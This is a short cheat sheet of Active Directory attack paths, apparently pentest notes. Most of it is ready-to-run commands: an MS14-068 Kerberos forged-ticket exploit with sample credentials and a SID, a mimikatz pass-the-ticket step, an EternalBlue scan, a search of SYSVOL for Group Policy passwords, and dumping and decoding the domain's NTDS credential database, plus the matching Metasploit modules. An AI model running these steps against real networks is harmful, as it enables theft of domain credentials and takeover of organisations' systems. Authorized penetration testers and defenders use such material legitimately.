# Active Directory Attacks

## Most common paths to AD compromise
  * MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)
    ```bash
    Exploit Python: https://www.exploit-db.com/exploits/35474/
    Doc: https://github.com/gentilkiwi/kekeo/wiki/ms14068
    Metasploit: auxiliary/admin/kerberos/ms14_068_kerberos_checksum

    git clone https://github.com/bidord/pykek
    python ./ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> -p <clearPassword>
    python ./ms14-068.py -u darthsidious@lab.adsecurity.org -p TheEmperor99! -s S-1-5-21-1473643419-774954089-2222329127-1110 -d adsdc02.lab.adsecurity.org
    mimikatz.exe "kerberos::ptc c:\temp\TGT_darthsidious@lab.adsecurity.org.ccache"
    ```
  * MS17-010 (Eternal Blue - Local Admin)
    ```c
    nmap -Pn -p445 — open — max-hostgroup 3 — script smb-vuln-ms17–010 <ip_netblock>
    ```
  * Unconstrained Delegation (incl. pass-the-ticket)
  * OverPass-the-Hash (Making the most of NTLM password hashes)
  * Pivoting with Local Admin & Passwords in SYSVOL
    ```c
    findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml

    or

    Metasploit: scanner/smb/smb_enumshares
    Metasploit: windows/gather/enumshares
    Metasploit: windows/gather/credentials/gpp
    ```
  * Dangerous Built-in Groups Usage
  * Dumping AD Domain Credentials
  ```c
  C:\>ntdsutil
  ntdsutil: activate instance ntds
  ntdsutil: ifm
  ifm: create full c:\pentest
  ifm: quit
  ntdsutil: quit

  secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

  or

  Metasploit : windows/gather/credentials/domain_hashdump
  ```
